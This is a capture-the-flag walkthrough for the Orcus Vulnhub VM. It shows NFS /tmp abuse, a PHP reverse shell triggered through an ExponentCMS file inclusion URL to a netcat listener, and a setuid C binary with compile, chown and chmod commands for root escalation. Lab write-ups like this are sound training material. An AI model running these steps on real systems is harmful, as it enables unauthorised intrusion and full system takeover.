for the hackfest2016: Orcus VM hosted on Vulnhub from Viper.

This VM comes with a lot of moving parts and a few different ways of accomplishing things. Using nmap, nikto and dirb will fill you with enough enumeration to keep you busy for a while sifting through to separate what is potentially useful from the dead-ends.

Dirb, for example finds a few workable directories and URLs, the thread I followed began from login.php, which gives an error that the database is offline, but still provides enumeration of what’s running and the version:

There are other avenues to explore from Dirb which I found such as a backups directory for an installed quiz package, which includes some SQL account details:

This logged me into phpmyadmin which dirb also found, but I was more interested in the NFS services that nmap found at this point and gave up on that avenue.

To install the packages I need to abuse the NFS mount ports I ran the following on my Kali VM:

  apt-cache search showmount

I ran this because a lot of sites were mentioning showmount but it wasn’t installed; this allowed me to see what package contained it, so I then followed up with:

  apt-get install nfs-common

With this installed, running **showmount -e ** showed me that the /tmp directory was available through NFS. So we can mount that with **mount -t nfs 10.0.2.59:/tmp nfs** (the last 'nfs' there is a local directory I'd created to mount it against):

So we can see that the contents of /tmp are pretty uninspiring and frankly completely useless. BUT we can create our own files here, and not only that but with some investigating it turns out we can pretty much act as root here; changing permissions and ownership as we see fit, but only within /tmp.

After some more playing around we can set the suid bit too, so that’s nice.

Now that our reverse webshell (old faithful from pentestmonkey, available in kali within /usr/share/webshells/php) is in place, we need to run it. This is why I mentioned ExponentCMS out of all the many results dirb finds; it has a local file inclusion vulnerability that we can exploit - see http://seclists.org/oss-sec/2016/q3/580

So we slightly doctor the command so it looks more like this:

  http://10.0.2.59/install/popup.php?page=../../../../../tmp/php-reverse-shell

and our shell successfully executes and contacts our netcat listener (called with nc -lvp 1234)

It’s worth noting that my webshell would contact my Kali VM and then cut out straightaway. I’m still not quite sure why but when I changed the reverse webshell php file to call /bin/bash instead of /bin/sh it worked fine, so if you have the same issues try that.

and we find our first flag within /var/www:

So now that we have a shell, our next obstacle is privilege escalation. Again, given the huge amount of installed packages and ports we found earlier, and the new possibility of all the existing services and binaries now open to us from our shell, there are probably many possibilities when it comes to getting a shell, but since I began this through the NFS share where I found that I had root privileges within tmp, I’ll continue that way. In this case it’s then just a case of extending my permissions to outside of /tmp.

Here’s how this stage works. We begin by being able to set the SUID bit on anything. With an SUID bit set, binaries can be run as their owner, which we can set to root. BUT ONLY BINARIES. This won’t work on scripts such as python etc. so we need to create our own binary for this to work, there’s a fairly common example of this below, known as a setuid executable

And the code in case you wish to copy it:

  int main()
  {
    setuid(0);
    system("/bin/sh");

    return 0;
  }

So here is the sequence of events on how we get this to work, it’ll require a bit of juggling through two terminal windows; one which is active within the NFS mount and one which is through your reverse webshell:

1-NFS terminal place the file above into /tmp, as for example root.c

2-Webshell terminal compile root.c using gcc,

  gcc root.c -o root

3-NFS terminal Give root ownership to the newly-compiled root executable and set the SUID, ie

    chmod u+s root
    chown root.root root

4-Webshell terminal Execute root and you should get your privilege escalation

navigating to /root then gives us our flag (There are probably more but rooting a box is usually as far as I go):